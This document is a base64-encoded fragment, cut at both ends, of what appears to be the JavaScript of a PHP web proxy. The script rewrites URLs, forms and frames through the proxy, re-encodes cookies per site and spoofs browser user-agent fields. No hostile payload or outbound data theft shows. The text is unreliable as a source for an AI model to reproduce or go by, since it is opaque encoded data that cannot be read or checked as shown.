yB9DQoJdGhpcy5zZXRfcXVlcnk9ZnVuY3Rpb24ocXVlcnkpeyBpZihxdWVyeT09dW5kZWZpbmVkKSBxdWVyeT0iIjsgdGhpcy5xdWVyeT1xdWVyeTsgfQ0KCXRoaXMuZ2V0X2xhYmVsPWZ1bmN0aW9uKCl7IHJldHVybiB0aGlzLmxhYmVsOyB9DQoJdGhpcy5zZXRfbGFiZWw9ZnVuY3Rpb24obGFiZWwpeyBpZihsYWJlbD09dW5kZWZpbmVkKSBsYWJlbD0iIjsgdGhpcy5sYWJlbD1sYWJlbDsgfQ0KDQoJdGhpcy5nZXRfdXJsPWZ1bmN0aW9uKCl7DQoJCWlmKHRoaXMubG9ja2VkKSByZXR1cm4gdGhpcy51cmw7DQoJCXJldHVybiB0aGlzLmdldF9wcm90bygpKyI6Ly8iKw0KCQkgICAgICAgKHRoaXMuZ2V0X3VzZXJwYXNzKCk9PSIiPyIiOnRoaXMuZ2V0X3VzZXJwYXNzKCkrIkAiKSsNCgkJICAgICAgIHRoaXMuZ2V0X3NlcnZlcm5hbWUoKSsNCgkJICAgICAgIChwYXJzZUludCh0aGlzLmdldF9wb3J0dmFsKCkpPT04MD8iIjoiOiIrcGFyc2VJbnQodGhpcy5nZXRfcG9ydHZhbCgpKSkrDQoJCSAgICAgICB0aGlzLmdldF9wYXRoKCkrdGhpcy5nZXRfZmlsZSgpKw0KCQkgICAgICAgKHRoaXMuZ2V0X3F1ZXJ5KCk9PSIiPyIiOiI/Iit0aGlzLmdldF9xdWVyeSgpKSsNCgkJICAgICAgICh0aGlzLmdldF9sYWJlbCgpPT0iIj8iIjoiIyIrdGhpcy5nZXRfbGFiZWwoKSkNCgkJOw0KCX0NCg0KCXRoaXMuc3Vycm9nYWZ5PWZ1bmN0aW9uKCl7DQoJCXZhciB1cmw9dGhpcy5nZXRfdXJsKCk7DQoJCWlmKHRoaXMubG9ja2VkIHx8IHRoaXMuZ2V0X3Byb3RvKCkrdGhpcy5nZXRfZmllbGRyZXEoMix0aGlzLmdldF91c2VycGFzcygpKSt0aGlzLmdldF9zZXJ2ZXJuYW1lKCkrdGhpcy5nZXRfcGF0aCgpK3RoaXMuZ2V0X2ZpbGUoKT09dGhpcy5USElTX1NDUklQVCkgcmV0dXJuIHVybDsNCgkJdmFyIGxhYmVsPXRoaXMuZ2V0X2xhYmVsKCk7DQoJCXRoaXMuc2V0X2xhYmVsKCk7DQoJCWlmKHRoaXMuRU5DUllQVF9VUkxTICYmICF0aGlzLmxvY2tlZCkgdXJsPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4ucGUucHJveGVuYyh1cmwpOw0KCQkvL3VybD10aGlzLlRISVNfU0NSSVBUKyI/PSIrKCF0aGlzLkVOQ1JZUFRfVVJMUz9lc2NhcGUodXJsKTp1cmwpOyAvLyB1cmxlbmNvZGUoKWQNCgkJdXJsPXRoaXMuVEhJU19TQ1JJUFQrIj89Iit1cmw7IC8vIHVybGVuY29kZSgpZA0KCQl0aGlzLnNldF9sYWJlbChsYWJlbCk7DQoJCXJldHVybiB1cmw7DQoJfQ0KDQoJaWYodXJsLmxlbmd0aD48P3BocCBlY2hvKE1BWElNVU1fVVJMX0xFTkdUSCk/Pil7DQoJCS8vYWxlcnQodGhpcy51cmwpOyAvLyBERUJVRw0KCQkvL2FsZXJ0KHRoaXMudXJsLmxlbmd0aCk7IC8vIERFQlVHDQoJCXRoaXMudXJsPSIiOw0KCX0NCgllbHNlew0KCQkvL3RoaXMudXJsPXByZWdfcmVwbGFjZSgiLyYjKFswLTldKyk7L2UiLCJjaHIoXFwxKSIgLy8gcGFyc2UgbGlrZSBQSFAgZG9lcyBmb3IgJiNudW07IEhUTUwgZW50aXRpZXM/IC8vIFRPRE8/DQoJCXRoaXMudXJsPXRoaXMudHJpbSh1cmwucmVwbGFjZSgiJmFtcDsiLCImIikucmVwbGFjZSgiXHIiLCIiKS5yZXBsYWNlKCJcbiIsIiIpKTsNCgl9DQoNCgl0aGlzLnRvcHVybD10b3B1cmw7DQoJdGhpcy5sb2NrZWQ9dXJsLm1hdGNoKDw/cGhwIGVjaG8oQVVSTF9MT0NLX1JFR0VYUCk7ID8+KTsgLy8qDQoNCglpZighdGhpcy5sb2NrZWQpew0KCQl2YXIgdXJsd2FzdmFsaWQ9dHJ1ZTsNCgkJaWYoIXRoaXMudXJsLm1hdGNoKHRoaXMuVVJMUkVHKSl7DQoJCQl1cmx3YXN2YWxpZD1mYWxzZTsNCgkJCWlmKHRoaXMudG9wdXJsPT11bmRlZmluZWQpIHRoaXMudXJsPSJodHRwOi8vIisoKHRoaXMudXJsLmNoYXJBdCgwKT09IjoiIHx8IHRoaXMudXJsLmNoYXJBdCgwKT09Ii8iKT90aGlzLnVybC5zdWJzdHJpbmcoMSk6dGhpcy51cmwpKyh0aGlzLnVybC5pbmRleE9mKCIvIikhPS0xPyIiOiIvIik7DQoJCQllbHNlew0KCQkJCXZhciBuZXd1cmw9dGhpcy50b3B1cmwuZ2V0X3Byb3RvKCkrIjovLyIrdGhpcy5nZXRfZmllbGRyZXEoMix0aGlzLnRvcHVybC5nZXRfdXNlcnBhc3MoKSkrdGhpcy50b3B1cmwuZ2V0X3NlcnZlcm5hbWUoKSsoKHRoaXMudG9wdXJsLmdldF9wb3J0dmFsKCkhPTgwICYmICh0aGlzLnRvcHVybC5nZXRfcHJvdG8oKT09Imh0dHBzIj90aGlzLnRvcHVybC5nZXRfcG9ydHZhbCgpIT00NDM6dHJ1ZSkpPyI6Iit0aGlzLnRvcHVybC5nZXRfcG9ydHZhbCgpOiIiKTsNCgkJCQlpZih0aGlzLnVybC5zdWJzdHJpbmcoMCwxKSE9Ii8iKSBuZXd1cmwrPXRoaXMudG9wdXJsLmdldF9wYXRoKCk7DQoJCQkJdGhpcy51cmw9bmV3dXJsK3RoaXMudXJsOw0KCQkJfQ0KCQl9DQoNCgkJdGhpcy5zZXRfcHJvdG8oKHVybHdhc3ZhbGlkIHx8IHRoaXMudG9wdXJsPT11bmRlZmluZWQ/dGhpcy51cmwucmVwbGFjZSgvXihbXjpdKykuKiQvLCJcJDEiKTp0aGlzLnRvcHVybC5nZXRfcHJvdG8oKSkpOw0KCQl0aGlzLnNldF91c2VycGFzcyh0aGlzLnVybC5yZXBsYWNlKHRoaXMuVVJMUkVHLCJcJDIiKSk7DQoJCXRoaXMuc2V0X3NlcnZlcm5hbWUodGhpcy51cmwucmVwbGFjZSh0aGlzLlVSTFJFRywiXCQzIikpOw0KCQl0aGlzLnNldF9wb3J0dmFsKHRoaXMudXJsLnJlcGxhY2UodGhpcy5VUkxSRUcsIlwkNCIpKTsNCgkJdGhpcy5zZXRfcGF0aCh0aGlzLnVybC5yZXBsYWNlKHRoaXMuVVJMUkVHLCJcJDUiKSk7DQoJCXRoaXMuc2V0X2ZpbGUodGhpcy51cmwucmVwbGFjZSh0aGlzLlVSTFJFRywiXCQ2IikpOw0KCQl0aGlzLnNldF9xdWVyeSh0aGlzLnVybC5yZXBsYWNlKHRoaXMuVVJMUkVHLCJcJDciKSk7DQoJCXRoaXMuc2V0X2xhYmVsKHRoaXMudXJsLnJlcGxhY2UodGhpcy5VUkxSRUcsIlwkOCIpKTsNCgl9DQoNCgkvL2lmKCF0aGlzLmxvY2tlZCAmJiAhdGhpcy51cmwubWF0Y2godGhpcy5VUkxSRUcpKSBoYXZvayg3LHRoaXMudXJsKTsgLy8qDQp9LA0KDQpzdXJyb2dhZnlfdXJsOmZ1bmN0aW9uKHVybCx0b3B1cmwsYWRkcHJveHkpew0KCXVybD11cmwudG9TdHJpbmcoKTsNCglpZighdXJsLnN1YnN0cmluZykgcmV0dXJuOw0KCWlmKGFkZHByb3h5PT11bmRlZmluZWQpIGFkZHByb3h5PXRydWU7DQoJdmFyIHVybHF1b3RlPSIiOw0KCWlmKCh1cmwuc3Vic3RyaW5nKDAsMSk9PSJcIiIgfHwgdXJsLnN1YnN0cmluZygwLDEpPT0iJyIpICYmIHVybC5zdWJzdHJpbmcoMCwxKT09dXJsLnN1YnN0cmluZyh1cmwubGVuZ3RoLTEsdXJsLmxlbmd0aCkpew0KCQl1cmxxdW90ZT11cmwuc3Vic3RyaW5nKDAsMSk7DQoJCXVybD11cmwuc3Vic3RyaW5nKDEsdXJsLmxlbmd0aC0xKTsNCgl9DQoJaWYodG9wdXJsPT11bmRlZmluZWQpIHRvcHVybD10aGlzLmN1cnJfdXJsb2JqOw0KCXZhciB1cmxvYmo9bmV3IHRoaXMuYXVybCh1cmwsdG9wdXJsKTsNCgl2YXIgbmV3X3VybD0oYWRkcHJveHk/dXJsb2JqLnN1cnJvZ2FmeSgpOnVybG9iai5nZXRfdXJsKCkpOw0KCWlmKHVybHF1b3RlIT0iIikgbmV3X3VybD11cmxxdW90ZStuZXdfdXJsK3VybHF1b3RlOw0KCXJldHVybiBuZXdfdXJsOw0KfSwNCg0Kc3Vycm9nYWZ5X3VybF90b29iajpmdW5jdGlvbih1cmwsdG9wdXJsLGFkZHByb3h5KXsNCgl1cmw9dXJsLnRvU3RyaW5nKCk7DQoJaWYoIXVybC5zdWJzdHJpbmcpIHJldHVybjsNCglpZihhZGRwcm94eT09dW5kZWZpbmVkKSBhZGRwcm94eT10cnVlOw0KCWlmKCh1cmwuc3Vic3RyaW5nKDAsMSk9PSJcIiIgfHwgdXJsLnN1YnN0cmluZygwLDEpPT0iJyIpICYmIHVybC5zdWJzdHJpbmcoMCwxKT09dXJsLnN1YnN0cmluZyh1cmwubGVuZ3RoLTEsdXJsLmxlbmd0aCkpIHVybD11cmwuc3Vic3RyaW5nKDEsdXJsLmxlbmd0aC0xKTsNCglpZih0b3B1cmw9PXVuZGVmaW5lZCkgdG9wdXJsPXRoaXMuY3Vycl91cmxvYmo7DQoJcmV0dXJuIG5ldyB0aGlzLmF1cmwodXJsLHRvcHVybCk7DQp9LA0KDQpkZV9zdXJyb2dhZnlfdXJsOmZ1bmN0aW9uKHVybCl7DQoJaWYodXJsPT11bmRlZmluZWQpIHJldHVybiAiIjsNCgl1cmw9dXJsLnRvU3RyaW5nKCk7DQoJaWYodXJsLm1hdGNoKDw/cGhwIGVjaG8oRlJBTUVfTE9DS19SRUdFWFApOyA/PikgfHwgIXVybC5tYXRjaCg8P3BocCBlY2hvKEFVUkxfTE9DS19SRUdFWFApOyA/PikpIHJldHVybiB1cmw7DQoJcmV0dXJuIHRoaXMucGUucHJveGRlYyhkZWNvZGVVUklDb21wb25lbnQodXJsLnN1YnN0cmluZyh1cmwuaW5kZXhPZignPycpKzEpLnJlcGxhY2UoPD9waHAgZWNobyhQQUdFVFlQRV9SRUdFWFApOyA/PiwiXCQyIikpKTsgLy8gdXJsZGVjb2RlKCkNCn0sDQoNCmFkZF9xdWVyeXN0dWZmOmZ1bmN0aW9uKHVybCxxdWVyeXN0dWZmKXsNCgl2YXIgcG9zPXVybC5pbmRleE9mKCc/Jyk7DQoJcmV0dXJuIHVybC5zdWJzdHIoMCxwb3MrMSkrcXVlcnlzdHVmZit1cmwuc3Vic3RyKHBvcysxLHVybC5sZW5ndGgtcG9zKTsNCn0sDQoNCnByZWdfbWF0Y2hfYWxsOmZ1bmN0aW9uKHJlZ2V4cHN0cixzdHJpbmcpew0KCXZhciBtYXRjaGFycj1uZXcgQXJyYXkoKTsNCgl2YXIgcmVnZXhwPW5ldyBSZWdFeHAocmVnZXhwc3RyKTsNCgl2YXIgcmVzdWx0Ow0KCXdoaWxlKHRydWUpew0KCQlyZXN1bHQ9cmVnZXhwLmV4ZWMoc3RyaW5nKTsNCgkJaWYocmVzdWx0IT1udWxsKSBtYXRjaGFyci5wdXNoKHJlc3VsdCk7DQoJCWVsc2UgYnJlYWs7DQoJfQ0KCXJldHVybiBtYXRjaGFycjsNCn0sDQoNCmZyYW1pZnlfdXJsOmZ1bmN0aW9uKHVybCxmcmFtZV90eXBlKXsNCglpZigoZnJhbWVfdHlwZSE9PTw/cGhwIGVjaG8oUEFHRVRZUEVfRlJBTUVfVE9QKTsgPz4gfHwgIXRoaXMuVVJMX0ZPUk0pICYmIChmcmFtZV90eXBlIT09PD9waHAgZWNobyhQQUdFVFlQRV9GUkFNRURfUEFHRSk7ID8+ICYmICF0aGlzLlBBR0VfRlJBTUVEKSkgcmV0dXJuIHVybDsNCgl2YXIgdXJscXVvdGU9IiI7DQoJaWYoKHVybC5zdWJzdHJpbmcoMCwxKT09IlwiIiB8fCB1cmwuc3Vic3RyaW5nKDAsMSk9PSInIikgJiYgdXJsLnN1YnN0cmluZygwLDEpPT11cmwuc3Vic3RyaW5nKHVybC5sZW5ndGgtMSx1cmwubGVuZ3RoKSl7DQoJCXVybHF1b3RlPXVybC5zdWJzdHJpbmcoMCwxKTsNCgkJdXJsPXVybC5zdWJzdHJpbmcoMSx1cmwubGVuZ3RoLTEpOw0KCX0NCglpZighdXJsLm1hdGNoKDw/cGhwIGVjaG8oRlJBTUVfTE9DS19SRUdFWFApOyA/Pikpew0KCQl2YXIgcXVlcnk7DQoJCWlmKGZyYW1lX3R5cGU9PT08P3BocCBlY2hvKFBBR0VUWVBFX0ZSQU1FX1RPUCk7ID8+ICYmIHRoaXMuVVJMX0ZPUk0pIHF1ZXJ5PScmPSc7DQoJCWVsc2UgaWYoZnJhbWVfdHlwZT09PTw/cGhwIGVjaG8oUEFHRVRZUEVfRlJBTUVEX0NISUxEKTsgPz4pIHF1ZXJ5PScuJj0nOw0KCQllbHNlIGlmKGZyYW1lX3R5cGU9PT08P3BocCBlY2hvKFBBR0VUWVBFX0ZSQU1FRF9QQUdFKTsgPz4gfHwgdGhpcy5QQUdFX0ZSQU1FRCkgcXVlcnk9J18mPSc7DQoJCWVsc2UgcXVlcnk9Jyc7DQoJCXVybD11cmwucmVwbGFjZSgvXihbXlw/XSopW1w/XT88P3BocCBlY2hvKFBBR0VUWVBFX01JTklSRUdFWFApOyA/PihbXiNdKj9bI10/Lio/KSQvLCdcJDE/PScrcXVlcnkrJ1wkMycpOw0KCX0NCglpZih1cmxxdW90ZSE9IiIpIHVybD11cmxxdW90ZSt1cmwrdXJscXVvdGU7DQoJcmV0dXJuIHVybDsNCn0sDQoNCnBhcnNlX2h0bWw6ZnVuY3Rpb24ocmVnZXhwLHBhcnRvcGFyc2UsaHRtbCxhZGRwcm94eSxmcmFtaWZ5KXsNCgl2YXIgbWF0Y2gsYmVnaW4sZW5kLG51cmw7DQoJaWYoaHRtbC5tYXRjaChyZWdleHApKXsNCgkJdmFyIG1hdGNoYXJyPXRoaXMucHJlZ19tYXRjaF9hbGwocmVnZXhwLGh0bWwpOw0KCQl2YXIgbmV3aHRtbD0iIjsNCgkJZm9yKHZhciBrZXkgaW4gbWF0Y2hhcnIpew0KCQkJLyptYXRjaD1tYXRjaGFycltpXTsNCgkJCW51cmw9dGhpcy5zdXJyb2dhZnlfdXJsKG1hdGNoW3BhcnRvcGFyc2VdLHVuZGVmaW5lZCxhZGRwcm94eSk7DQoJCQluaHRtbD1tYXRjaFswXS5yZXBsYWNlKG1hdGNoW3BhcnRvcGFyc2VdLG51cmwpOw0KCQkJaHRtbD1odG1sLnJlcGxhY2UobWF0Y2hbMF0sbmh0bWwpOyovDQoJCQltYXRjaD1tYXRjaGFycltrZXldOw0KCQkJaWYobWF0Y2hbcGFydG9wYXJzZV0hPXVuZGVmaW5lZCl7DQoJCQkJYmVnaW49aHRtbC5pbmRleE9mKG1hdGNoW3BhcnRvcGFyc2VdKTsNCgkJCQllbmQ9YmVnaW4rbWF0Y2hbcGFydG9wYXJzZV0ubGVuZ3RoOw0KCQkJCW51cmw9dGhpcy5zdXJyb2dhZnlfdXJsKG1hdGNoW3BhcnRvcGFyc2VdLHVuZGVmaW5lZCxhZGRwcm94eSk7DQoJCQkJaWYoZnJhbWlmeSkgbnVybD10aGlzLmZyYW1pZnlfdXJsKG51cmwsZnJhbWlmeSk7DQoJCQkJbmV3aHRtbCs9aHRtbC5zdWJzdHJpbmcoMCxiZWdpbikrbnVybDsNCgkJCQlodG1sPWh0bWwuc3Vic3RyaW5nKGVuZCk7DQoJCQl9DQoJCX0NCgkJaHRtbD1uZXdodG1sK2h0bWw7DQoJfQ0KCXJldHVybiBodG1sOw0KfSwNCg0KcGFyc2VfYWxsX2h0bWw6ZnVuY3Rpb24oKXsNCglpZihhcmd1bWVudHNbMF09PW51bGwpIHJldHVybjsNCgl2YXIgaHRtbD1hcmd1bWVudHNbMF0udG9TdHJpbmcoKTsNCgl2YXIga2V5Ow0KCWZvcih2YXIga2V5IGluIHJlZ2V4cF9hcnJheXMpew0KCQlpZigoYXJndW1lbnRzLmxlbmd0aD4xICYmIGtleSE9YXJndW1lbnRzWzFdKSB8fCBrZXk9PSd0ZXh0L2phdmFzY3JpcHQnKSBjb250aW51ZTsNCgkJYXJyPXJlZ2V4cF9hcnJheXNba2V5XTsNCgkJZm9yKHZhciByZWdleHBfYXJyYXlrZXkgaW4gYXJyKXsNCgkJCXJlZ2V4cF9hcnJheT1hcnJbcmVnZXhwX2FycmF5a2V5XTsNCgkJCWlmKHJlZ2V4cF9hcnJheVswXT09dW5kZWZpbmVkKSBjb250aW51ZTsNCgkJCWlmKHJlZ2V4cF9hcnJheVswXT09MSkgaHRtbD1odG1sLnJlcGxhY2UocmVnZXhwX2FycmF5WzFdLHJlZ2V4cF9hcnJheVsyXSk7DQoJCQllbHNlIGlmKHJlZ2V4cF9hcnJheVswXT09Mil7DQoJCQkJYWRkcHJveHk9KHJlZ2V4cF9hcnJheS5sZW5ndGg+Mz9yZWdleHBfYXJyYXlbM106dHJ1ZSk7DQoJCQkJZnJhbWlmeT0ocmVnZXhwX2FycmF5Lmxlbmd0aD40P3JlZ2V4cF9hcnJheVs0XTpmYWxzZSk7DQoJCQkJaHRtbD10aGlzLnBhcnNlX2h0bWwocmVnZXhwX2FycmF5WzFdLHJlZ2V4cF9hcnJheVsyXSxodG1sLGFkZHByb3h5LGZyYW1pZnkpOw0KCQkJfQ0KCQl9DQoJfQ0KCXJldHVybiBodG1sOw0KfSwNCg0KZm9ybV9idXR0b246bnVsbCwNCmZvcm1fZW5jcnlwdDpmdW5jdGlvbihmb3JtKXsNCglpZihmb3JtLm1ldGhvZD09J3Bvc3QnKSByZXR1cm4gdHJ1ZTsNCgkvL2FjdGlvbj1mb3JtLjxwaHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZTsNCgl2YXIgYWN0aW9uPWZvcm0uZ2V0RWxlbWVudHNCeU5hbWUodGhpcy5DT09LX1BSRUYpWzBdLnZhbHVlOw0KCWZvcih2YXIgaT0xO2k8Zm9ybS5lbGVtZW50cy5sZW5ndGg7aSsrKXsNCgkJaWYoZm9ybS5lbGVtZW50c1tpXS5kaXNhYmxlZCB8fCBmb3JtLmVsZW1lbnRzW2ldLm5hbWU9PScnIHx8IGZvcm0uZWxlbWVudHNbaV0udmFsdWU9PScnIHx8IGZvcm0uZWxlbWVudHNbaV0udHlwZT09J3Jlc2V0JykgY29udGludWU7DQoJCWlmKGZvcm0uZWxlbWVudHNbaV0udHlwZT09J3N1Ym1pdCcpew0KCQkJaWYoZm9ybS5lbGVtZW50c1tpXS5uYW1lIT10aGlzLmZvcm1fYnV0dG9uKSBjb250aW51ZTsNCgkJCXRoaXMuZm9ybV9idXR0b249bnVsbDsNCgkJfQ0KCQl2YXIgcHJlZjsNCgkJaWYoIWFjdGlvbi5tYXRjaCgvXD8vKSkgcHJlZj0iPyI7DQoJCWVsc2UgcHJlZj0iJiI7DQoJCWFjdGlvbis9cHJlZitmb3JtLmVsZW1lbnRzW2ldLm5hbWUrIj0iK2Zvcm0uZWxlbWVudHNbaV0udmFsdWU7DQoJfQ0KCWxvY2F0aW9uLmhyZWY9dGhpcy5zdXJyb2dhZnlfdXJsKGFjdGlvbik7DQoJcmV0dXJuIGZhbHNlOw0KfSwNCg0Kc2V0QXR0cjpmdW5jdGlvbihvYmosYXR0cix2YWwpew0KCWlmKHR5cGVvZihhdHRyKSE9dHlwZW9mKCIiKSl7DQoJCWF0dHI9YXR0ci50b1N0cmluZygpOw0KCQlhdHRyPWF0dHIuc3Vic3RyKDEsYXR0ci5sZW5ndGgtMik7DQoJfQ0KDQoJaWYoYXR0cj09ImlubmVySFRNTCIpew0KCQlvYmpbYXR0cl09dGhpcy5wYXJzZV9hbGxfaHRtbCh2YWwpOw0KCQlyZXR1cm4gb2JqW2F0dHJdOw0KCX0NCg0KCWlmKG9iaj09bG9jYXRpb24gJiYgYXR0cj09Imhvc3RuYW1lIikgcmV0dXJuIHRoaXMuTE9DQVRJT05fSE9TVE5BTUU7DQoNCglpZihvYmo9PWRvY3VtZW50ICYmIGF0dHI9PSJjb29raWUiKXsNCgkJY29uc3QgQ09PS19SRUc9L14oW149XSopPShbXjtdKikoPzo7W1xzXFNdKj8pPyQvaTsNCgkJdmFyIHJlYWxob3N0PXRoaXMuTE9DQVRJT05fSE9TVE5BTUUucmVwbGFjZSgiL153d3cvaSIsIiIpLnJlcGxhY2UoIi4iLCJfIik7DQoJCXZhciBjb29ra2V5PXZhbC5yZXBsYWNlKENPT0tfUkVHLCJcJDEiKTsNCgkJdmFyIGNvb2t2YWw9dmFsLnJlcGxhY2UoQ09PS19SRUcsIlwkMiIpOw0KCQlpZih0aGlzLkVOQ1JZUFRfQ09PS1Mpew0KCQkJY29va2tleT1wcm94ZW5jKGNvb2trZXkpOw0KCQkJY29va3ZhbD1wcm94ZW5jKGNvb2t2YWwpOw0KCQl9DQoJCXZhciBuZXdjb29raWU9cmVhbGhvc3QrIjw/cGhwIGVjaG8oQ09PS0lFX1NFUEFSQVRPUik7ID8+Iitjb29ra2V5KyI9Iitjb29rdmFsKyI7ICI7DQoJCWRvY3VtZW50LmNvb2tpZT1uZXdjb29raWU7DQoJCXJldHVybiBuZXdjb29raWU7DQoJfQ0KDQoJaWYob2JqPT1sb2NhdGlvbiAmJiBhdHRyPT0ic2VhcmNoIil7DQoJCWlmKHZhbC5zdWJzdHIoMCwxKT09Ij8iKSB2YWw9dmFsLnN1YnN0cigxKTsNCgkJdGhpcy5jdXJyX3VybG9iai5zZXRfcXVlcnkodmFsKTsNCgkJdmFsPXRoaXMuY3Vycl91cmxvYmouZ2V0X3VybCgpOw0KCQlhdHRyPSJocmVmIjsNCgl9DQoNCgl2YXIgcHJveHVybD12YWw7DQoJaWYoYXR0ciE9ImNvb2tpZSIgJiYgYXR0ciE9InNlYXJjaCIgJiYgYXR0ciE9Imhvc3RuYW1lIil7DQoJCXByb3h1cmw9dGhpcy5zdXJyb2dhZnlfdXJsKHZhbCk7DQoNCgkJLy8gdGFncyBmcmFtaWZpZWQgIG11c3QgbWF0Y2ggUkVHRVhQUyB3aXRoIHJlZ2V4cF9hcnJheVs1XQ0KCQlpZihvYmoudGFnTmFtZT09IkEiIHx8IG9iai50YWdOYW1lPT0iQVJFQSIpDQoJCQlwcm94dXJsPXRoaXMuZnJhbWlmeV91cmwocHJveHVybCw8P3BocCBlY2hvKE5FV19QQUdFVFlQRV9GUkFNRV9UT1ApOyA/Pik7DQoJCWVsc2UgaWYob2JqLnRhZ05hbWU9PSJGUkFNRSIgfHwgb2JqLnRhZ05hbWU9PSJJRlJBTUUiKQ0KCQkJcHJveHVybD10aGlzLmZyYW1pZnlfdXJsKHByb3h1cmwsPD9waHAgZWNobyhQQUdFVFlQRV9GUkFNRURfQ0hJTEQpOyA/Pik7DQoJfQ0KDQoJaWYodGhpcy5VUkxfRk9STSl7DQoJCWlmKChvYmo9PWxvY2F0aW9uICYmIGF0dHI9PSJocmVmIikgfHwgYXR0cj09ImxvY2F0aW9uIil7DQoJCQl1cmxvYmo9dGhpcy5zdXJyb2dhZnlfdXJsX3Rvb2JqKHZhbCk7DQoJCQlpZighdXJsb2JqLmxvY2tlZCkgcHJveHVybD10aGlzLmFkZF9xdWVyeXN0dWZmKHByb3h1cmwsIj0mIik7DQoJCQl0aGlzLnRoZXRvcC5sb2NhdGlvbi5ocmVmPXByb3h1cmw7DQoJCX0NCgkJZWxzZSBvYmpbYXR0cl09cHJveHVybDsNCgl9DQoJZWxzZSBvYmpbYXR0cl09cHJveHVybDsNCn0sDQoNCmdldEF0dHI6ZnVuY3Rpb24ob2JqLGF0dHIpew0KCWlmKHR5cGVvZihhdHRyKSE9dHlwZW9mKCIiKSl7DQoJCWF0dHI9YXR0ci50b1N0cmluZygpOw0KCQlhdHRyPWF0dHIuc3Vic3RyKDEsYXR0ci5sZW5ndGgtMik7DQoJfQ0KDQoJaWYob2JqPT1kb2N1bWVudCAmJiBhdHRyPT0iY29va2llIil7DQoJCXZhciBvY29va2llcz10aGlzLmdldENvb2tpZUFycigpOw0KCQl2YXIgY29va2llcz0iIixvY29vazsNCgkJY29uc3QgQ09PS19SRUc9L14oW1xzXFNdKik8P3BocCBlY2hvKENPT0tJRV9TRVBBUkFUT1IpOyA/PihbXj1dKik9KFtcc1xTXSopKD86OyApPyQvaTsNCgkJZm9yKHZhciBrZXkgaW4gb2Nvb2tpZXMpew0KCQkJb2Nvb2s9b2Nvb2tpZXNba2V5XTsNCgkJCWlmKHR5cGVvZihvY29vaykhPXR5cGVvZigiIikpIGNvbnRpbnVlOw0KCQkJaWYob2Nvb2subWF0Y2goQ09PS19SRUcpPT1udWxsKSBjb250aW51ZTsNCgkJCXZhciByZWFsaG9zdD10aGlzLkxPQ0FUSU9OX0hPU1ROQU1FLnJlcGxhY2UoIi9ed3d3L2kiLCIiKS5yZXBsYWNlKCIuIiwiXyIpOw0KCQkJdmFyIGNvb2tob3N0PW9jb29rLnJlcGxhY2UoQ09PS19SRUcsIlwkMSIpOw0KCQkJaWYoY29va2hvc3Q9PXJlYWxob3N0KXsNCgkJCQlpZih0aGlzLkVOQ1JZUFRfQ09PS1Mpew0KCQkJCQl2YXIgY29va2tleT10aGlzLnBlLnByb3hkZWMob2Nvb2sucmVwbGFjZShDT09LX1JFRywiXCQyIikpOw0KCQkJCQl2YXIgY29va3ZhbD10aGlzLnBlLnByb3hkZWMob2Nvb2sucmVwbGFjZShDT09LX1JFRywiXCQzIikpOw0KCQkJCQljb29raWVzKz1jb29ra2V5KyI9Iitjb29rdmFsKyI7ICI7DQoJCQkJfQ0KCQkJCWVsc2UgY29va2llcys9b2Nvb2sucmVwbGFjZShDT09LX1JFRywiXCQyPVwkMzsgIik7DQoJCQl9DQoJCX0NCgkJcmV0dXJuIGNvb2tpZXM7DQoJfQ0KDQoJaWYob2JqPT1uYXZpZ2F0b3Ipew0KCQlpZih0aGlzLlVTRVJBR0VOVD09Ii0xIiAmJiAoYXR0ciE9InBsdWdpbnMiICYmIGF0dHIhPSJtaW1lVHlwZSIpKSByZXR1cm4gdW5kZWZpbmVkOw0KCQlpZih0aGlzLlVTRVJBR0VOVD09IiIpIHJldHVybiBvYmpbYXR0cl07DQoJCXZhciBtc2llPXRoaXMuVVNFUkFHRU5ULm1hdGNoKC9tc2llL2kpOw0KCQljb25zdCBVQV9SRUc9L14oW15cL1woXSopXC8/KFteIFwoXSopWyBdKihcKD8oW147XCldKik7PyhbXjtcKV0qKTs/KFteO1wpXSopOz8oW147XCldKik7PyhbXjtcKV0qKTs/W15cKV0qXCk/KVsgXSooW14gXC9dKilcLz8oW14gXC9dKikuKiQvaTsNCgkJc3dpdGNoKGF0dHIpew0KCQkJY2FzZSAidXNlckFnZW50IjogcmV0dXJuIHRoaXMuVVNFUkFHRU5UOw0KCQkJY2FzZSAiYXBwQ29kZU5hbWUiOiByZXR1cm4gdGhpcy5VU0VSQUdFTlQucmVwbGFjZShVQV9SRUcsIlwkMSIpOw0KCQkJY2FzZSAiYXBwVmVyc2lvbiI6IHJldHVybiAobXNpZT90aGlzLlVTRVJBR0VOVC5yZXBsYWNlKFVBX1JFRywiXCQyIFwkMyIpOnRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDIgKFwkNDsgXCQ3KSIpKTsNCgkJCWNhc2UgInBsYXRmb3JtIjoNCgkJCQl2YXIgdGVtcHBsYXRmb3JtPXRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDQiKTsNCgkJCQlyZXR1cm4gKHRlbXBwbGF0Zm9ybT09ImNvbXBhdGlibGUiIHx8IHRlbXBwbGF0Zm9ybT09IldpbmRvd3MiPyJXaW4zMiI6dGhpcy5VU0VSQUdFTlQucmVwbGFjZShVQV9SRUcsIlwkNiIpKTsNCgkJCWNhc2UgIm9zY3B1IjogcmV0dXJuIChtc2llP3VuZGVmaW5lZDp0aGlzLlVTRVJBR0VOVC5yZXBsYWNlKFVBX1JFRywiXCQ2IikpOw0KCQkJY2FzZSAibGFuZ3VhZ2UiOiByZXR1cm4gKG1zaWU/dW5kZWZpbmVkOnRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDciKSk7DQoJCQljYXNlICJhcHBOYW1lIjoNCgkJCQl2YXIgdGVtcGFwcG5hbWU9KG1zaWU/Ik1pY3Jvc29mdCBJbnRlcm5ldCBFeHBsb3JlciI6dGhpcy5VU0VSQUdFTlQucmVwbGFjZShVQV9SRUcsIlwkMSIpKTsNCgkJCQlpZih0ZW1wYXBwbmFtZT09Ik9wZXJhIiB8fCB0ZW1wYXBwbmFtZT09Ik1vemlsbGEiKSB0ZW1wYXBwbmFtZT0iTmV0c2NhcGUiOw0KCQkJCXJldHVybiB0ZW1wYXBwbmFtZTsNCgkJCWNhc2UgInByb2R1Y3QiOiByZXR1cm4gKG1zaWU/dW5kZWZpbmVkOnRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDkiKSk7DQoJCQljYXNlICJwcm9kdWN0U3ViIjogcmV0dXJuIChtc2